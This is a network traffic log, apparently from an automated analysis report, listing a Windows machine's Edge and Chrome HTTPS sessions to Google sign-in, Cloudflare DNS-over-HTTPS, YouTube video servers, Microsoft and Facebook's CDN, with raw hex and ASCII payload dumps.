m={offset:c[g].offset,easing:c[g].easing,value:c[g][e]};b[e]=b[e]\|\|[];b[e].push(m)}for(var n in b)if(c=b[n],0!=c[0].offset\|\|1!=c[c.length-1].offset)throw{type:DOMException.NOT_SUPPORTED_ERR,name:"NotSupportedError",message:"Partial keyframes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49753	142.251.16.84	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:45 UTC	915	OUT	GET /ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en-GB HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:45 UTC	2016	IN	HTTP/1.1 302 Found Content-Type: application/binary Set-Cookie: __Host-GAPS=1:BVoDiegM602av3fgRn9UWRB_WK8R:M7CBR6lK7Gi8qV5S; Expires=Fri, 16-Jan-2026 23:34:45 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:45 GMT Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den-GB%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en-GB&passive=true&service=youtube&uilel=3&ifkv=ASKXGp1lxJreyWT6iy_4gy28W4mejBMxpmMlyIm0PVhIEQHD_5_oxk5RPzRUHq5K4aaWz7XfjWGe Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TmiZ_yoyABdJKJ4rhZeDBA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: unsafe-none Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49754	104.18.22.202	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-01-17 23:34:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-01-17 23:34:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 17 Jan 2024 23:34:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 847269288eae4411-EWR alt-svc: h3=":443"; ma=86400
2024-01-17 23:34:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 66 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomfQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49755	104.18.22.202	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-01-17 23:34:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-01-17 23:34:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 17 Jan 2024 23:34:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 847269289ff77d05-EWR alt-svc: h3=":443"; ma=86400
2024-01-17 23:34:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c4 00 04 8e fa 41 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49756	104.18.23.202	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:46 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-01-17 23:34:46 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-01-17 23:34:46 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 17 Jan 2024 23:34:46 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8472692a8ee24246-EWR alt-svc: h3=":443"; ma=86400
2024-01-17 23:34:46 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 aa 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49761	173.194.191.230	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:47 UTC	1520	OUT	GET /videoplayback?expire=1276808726&ei=9nyVfNuwJQhImLBWGYdBz7R&ip=76.47.67.35&id=o-AFksPcCzJbiGZ1jyrXUegcxh0K4FMEpeMy2Hs4rFdLzwJ&itag=18&source=youtube&requiressl=yes&mh=X6&mm=019%2C34071%2C00380&mn=bIPmn%2CqvD9y%2CGpLvF&ms=bIPmn%2CqvD9y%2CGpLvF&mv=T&mvi=1&pl=42&ctier=L&initcwndbps=0257952&siu=1&spc=lxTUopluM1LZuOIeSd_Sv73UxNcmmmSR2qod-Ir8pTCq&vprv=1&svpuc=1&mime=video%2Fmp4&ns=oguUGnTIdn7uLprvgJUuhevL&cnr=42&ratebypass=yes&dur=08771689&lmt=3415632071704059&mt=1276808726&fvip=3&c=WEB&txp=0257952&n=fuFJ6yTc9JdFvTRB&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf HTTP/1.1 Host: rr1---sn-q4flrne6.googlevideo.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:48 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:34:48 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49760	173.194.191.230	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:47 UTC	1512	OUT	GET /videoplayback?expire=1276808726&ei=9nyVfNuwJQhImLBWGYdBz7R&ip=76.47.67.35&id=o-AFksPcCzJbiGZ1jyrXUegcxh0K4FMEpeMy2Hs4rFdLzwJ&itag=18&source=youtube&requiressl=yes&mh=X6&mm=019%2C34071%2C00380&mn=bIPmn%2CqvD9y%2CGpLvF&ms=bIPmn%2CqvD9y%2CGpLvF&mv=T&mvi=1&pl=42&initcwndbps=0257952&siu=1&spc=lxTUopluM1LZuOIeSd_Sv73UxNcmmmSR2qod-Ir8pTCq&vprv=1&svpuc=1&mime=video%2Fmp4&ns=oguUGnTIdn7uLprvgJUuhevL&cnr=42&ratebypass=yes&dur=08771689&lmt=3415632071704059&mt=1276808726&fvip=3&c=WEB&txp=0257952&n=fuFJ6yTc9JdFvTRB&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=tlrYzYlHnmdVLPCxqr0wgcuQ-GeYXue_lUdWXe56O9RBJ2hWq5wpJ5oIZipiNPZsQN46ubCHXRGW2XOHxKaenwU45tH1a__tzSn92KvyF9Kf HTTP/1.1 Host: rr1---sn-q4flrne6.googlevideo.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:34:48 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:34:48 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49759	23.196.61.234	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:48 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-01-17 23:34:48 UTC	495	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (sac/2518) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=54487 Date: Wed, 17 Jan 2024 23:34:48 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49766	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:48 UTC	622	OUT	GET /rsrc.php/v3/y1/l/0,cross/kEvgWhOAxWd.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:48 UTC	1213	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: Mt2MMVY47CpcnwaLYFbQUA== Expires: Thu, 16 Jan 2025 18:47:27 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: nvwFOqW3HFzN0u5nVd1bezPhhe40MMjb8dzgPK9BHZjeL/P8XSCJaddGdFLGZFkLb9me/UaPRT/Xurwbyus9ng== Date: Wed, 17 Jan 2024 23:34:48 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5110
2024-01-17 23:34:48 UTC	1	IN	Data Raw: 2e Data Ascii: .
2024-01-17 23:34:48 UTC	1500	IN	Data Raw: 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 27 2e 27 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 68 65 69 67 68 74 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 2e 63 6c 65 61 72 66 69 78 7b 7a 6f 6f 6d 3a 31 7d 2e 64 61 74 61 77 72 61 70 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 2e 77 6f 72 64 5f 62 72 65 61 6b 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 65 6c 6c 69 70 73 69 73 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e Data Ascii: clearfix:after{clear:both;content:'.';display:block;font-size:0;height:0;line-height:0;visibility:hidden}.clearfix{zoom:1}.datawrap{word-wrap:break-word}.word_break{display:inline-block}.ellipsis{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.
2024-01-17 23:34:48 UTC	3609	IN	Data Raw: 2e 78 31 30 79 33 69 35 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 34 70 78 7d 2e 78 31 31 69 35 72 6e 6d 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 78 31 33 61 36 62 76 6c 7b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 7d 2e 78 31 33 66 75 76 32 30 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 2e 78 31 34 6e 66 6d 65 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 69 76 69 64 65 72 29 7d 2e 78 31 35 30 6a 79 30 65 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 70 78 7d 2e 78 31 36 74 64 73 67 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 69 6e 68 65 72 69 74 7d 2e 78 31 37 71 6f 70 68 65 7b 6c 65 66 74 3a 30 7d 2e 78 31 39 39 39 Data Ascii: .x10y3i5r{border-bottom-left-radius:4px}.x11i5rnm{margin-right:0}.x13a6bvl{justify-content:flex-end}.x13fuv20{border-top-style:solid}.x14nfmen{background-color:var(--divider)}.x150jy0e{padding-right:4px}.x16tdsg8{text-align:inherit}.x17qophe{left:0}.x1999

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49768	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:48 UTC	622	OUT	GET /rsrc.php/v3/yl/l/0,cross/gir1JteLu-6.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:48 UTC	1213	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: hzrfwvuSWF7DdpQaeObg2A== Expires: Mon, 13 Jan 2025 18:07:47 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: cUZtgkRnWaytu+SBIhK7pQOoQBB0jjjwSOdG76jHJXaqAF1b+RchKg0tbwpcPEVMtWzdS4CFNLoZpnoHofWS8w== Date: Wed, 17 Jan 2024 23:34:48 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 7913
2024-01-17 23:34:48 UTC	1	IN	Data Raw: 66 Data Ascii: f
2024-01-17 23:34:48 UTC	1500	IN	Data Raw: 6f 72 6d 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 23 36 30 36 37 37 30 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 6c 61 62 65 6c 20 69 6e 70 75 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 74 65 78 74 61 72 65 61 2c 2e 69 6e 70 75 74 74 65 78 74 2c 2e 69 6e 70 75 74 70 61 73 73 77 6f 72 64 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 35 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 33 70 78 7d 74 65 78 74 61 72 65 Data Ascii: orm{margin:0;padding:0}label{color:#606770;cursor:default;font-weight:600;vertical-align:middle}label input{font-weight:normal}textarea,.inputtext,.inputpassword{-webkit-appearance:none;border:1px solid #ccd0d5;border-radius:0;margin:0;padding:3px}textare
2024-01-17 23:34:48 UTC	6412	IN	Data Raw: 64 64 7b 63 6f 6c 6f 72 3a 23 30 30 30 7d 64 74 7b 63 6f 6c 6f 72 3a 23 36 30 36 37 37 30 7d 75 6c 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 61 62 62 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 68 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 61 64 64 65 31 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 3b 63 6f 6c 6f 72 3a 23 64 61 64 64 65 31 3b 68 65 69 67 68 74 3a 31 70 78 7d 0a 2a 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 23 36 30 36 37 37 30 7d 2a 3a 66 6f 63 75 73 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f Data Ascii: 